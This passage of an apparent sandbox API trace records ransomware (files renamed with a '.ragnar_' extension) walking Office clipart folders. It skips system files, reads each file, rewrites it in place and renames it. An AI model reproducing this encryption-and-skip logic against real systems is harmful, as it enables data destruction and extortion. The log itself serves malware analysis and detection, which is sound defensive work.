Office\\CLIPART\\PUB60COR\\J0099176.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.225] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0083.225] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.225] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099177.WMF" | out: lpString1="J0099177.WMF") returned="J0099177.WMF" [0083.225] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned=".WMF" [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="autorun.inf") returned 1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="boot.ini") returned 1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="bootfont.bin") returned 1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="bootsect.bak") returned 1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="bootmgr") returned 1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="bootmgr.efi") returned 1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="bootmgfw.efi") returned 1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="desktop.ini") returned 1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="iconcache.db") returned 1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="ntldr") returned -1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="ntuser.dat") returned -1 [0083.225] lstrcmpiW (lpString1="J0099177.WMF", lpString2="ntuser.dat.log") returned -1 [0083.226] lstrcmpiW (lpString1="J0099177.WMF", lpString2="ntuser.ini") returned -1 [0083.226] lstrcmpiW (lpString1="J0099177.WMF", lpString2="thumbs.db") returned -1 [0083.226] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.226] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.226] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.226] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.226] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.226] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.226] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 0x20 [0083.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.226] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5386) returned 1 [0083.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1501, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.226] GetProcessHeap () returned 0x580000 [0083.226] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.226] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.228] VirtualAlloc (lpAddress=0x0, dwSize=0x150a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.228] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x150a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x150a, lpOverlapped=0x0) returned 1 [0083.229] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.229] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x150a, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.229] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x150a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x150a, lpOverlapped=0x0) returned 1 [0083.229] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x150a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.229] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.229] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x150a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.229] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.229] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.229] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.229] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.229] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.230] GetProcessHeap () returned 0x580000 [0083.230] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.230] CloseHandle (hObject=0xf4) returned 1 [0083.230] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" [0083.230] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.ragnar_FD7BD9FC" [0083.230] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.230] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0083.230] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.230] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099178.WMF" | out: lpString1="J0099178.WMF") returned="J0099178.WMF" [0083.230] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned=".WMF" [0083.230] lstrcmpiW (lpString1="J0099178.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.230] lstrcmpiW (lpString1="J0099178.WMF", lpString2="autorun.inf") returned 1 [0083.230] lstrcmpiW (lpString1="J0099178.WMF", lpString2="boot.ini") returned 1 [0083.230] lstrcmpiW (lpString1="J0099178.WMF", lpString2="bootfont.bin") returned 1 [0083.230] lstrcmpiW (lpString1="J0099178.WMF", lpString2="bootsect.bak") returned 1 [0083.230] lstrcmpiW (lpString1="J0099178.WMF", lpString2="bootmgr") returned 1 [0083.231] lstrcmpiW (lpString1="J0099178.WMF", lpString2="bootmgr.efi") returned 1 [0083.231] lstrcmpiW (lpString1="J0099178.WMF", lpString2="bootmgfw.efi") returned 1 [0083.231] lstrcmpiW (lpString1="J0099178.WMF", lpString2="desktop.ini") returned 1 [0083.231] lstrcmpiW (lpString1="J0099178.WMF", lpString2="iconcache.db") returned 1 [0083.231] lstrcmpiW (lpString1="J0099178.WMF", lpString2="ntldr") returned -1 [0083.231] lstrcmpiW (lpString1="J0099178.WMF", lpString2="ntuser.dat") returned -1 [0083.231] lstrcmpiW (lpString1="J0099178.WMF", lpString2="ntuser.dat.log") returned -1 [0083.231] lstrcmpiW (lpString1="J0099178.WMF", lpString2="ntuser.ini") returned -1 [0083.231] lstrcmpiW (lpString1="J0099178.WMF", lpString2="thumbs.db") returned -1 [0083.231] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.231] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.231] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.231] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.231] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.231] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.231] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 0x20 [0083.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.232] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3606) returned 1 [0083.232] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.232] GetProcessHeap () returned 0x580000 [0083.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.232] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.233] VirtualAlloc (lpAddress=0x0, dwSize=0xe16, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.234] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe16, lpOverlapped=0x0) returned 1 [0083.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.234] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe16, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.234] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe16, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe16, lpOverlapped=0x0) returned 1 [0083.234] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.234] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.234] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.234] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.234] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.235] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.235] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.235] GetProcessHeap () returned 0x580000 [0083.235] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.235] CloseHandle (hObject=0xf4) returned 1 [0083.235] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" [0083.235] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.ragnar_FD7BD9FC" [0083.235] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.235] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0083.236] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.236] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099179.WMF" | out: lpString1="J0099179.WMF") returned="J0099179.WMF" [0083.236] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned=".WMF" [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="autorun.inf") returned 1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="boot.ini") returned 1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="bootfont.bin") returned 1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="bootsect.bak") returned 1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="bootmgr") returned 1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="bootmgr.efi") returned 1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="bootmgfw.efi") returned 1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="desktop.ini") returned 1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="iconcache.db") returned 1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="ntldr") returned -1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="ntuser.dat") returned -1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="ntuser.dat.log") returned -1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="ntuser.ini") returned -1 [0083.236] lstrcmpiW (lpString1="J0099179.WMF", lpString2="thumbs.db") returned -1 [0083.236] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.236] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.236] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.236] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.236] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.236] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.236] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 0x20 [0083.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.237] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9154) returned 1 [0083.237] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.237] GetProcessHeap () returned 0x580000 [0083.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.237] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.238] VirtualAlloc (lpAddress=0x0, dwSize=0x23c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.238] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x23c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x23c2, lpOverlapped=0x0) returned 1 [0083.239] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.240] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.240] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x23c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x23c2, lpOverlapped=0x0) returned 1 [0083.240] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.240] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.240] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.240] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.240] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.240] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.240] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.240] GetProcessHeap () returned 0x580000 [0083.240] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.240] CloseHandle (hObject=0xf4) returned 1 [0083.247] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" [0083.247] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.ragnar_FD7BD9FC" [0083.247] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1 [0083.247] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", 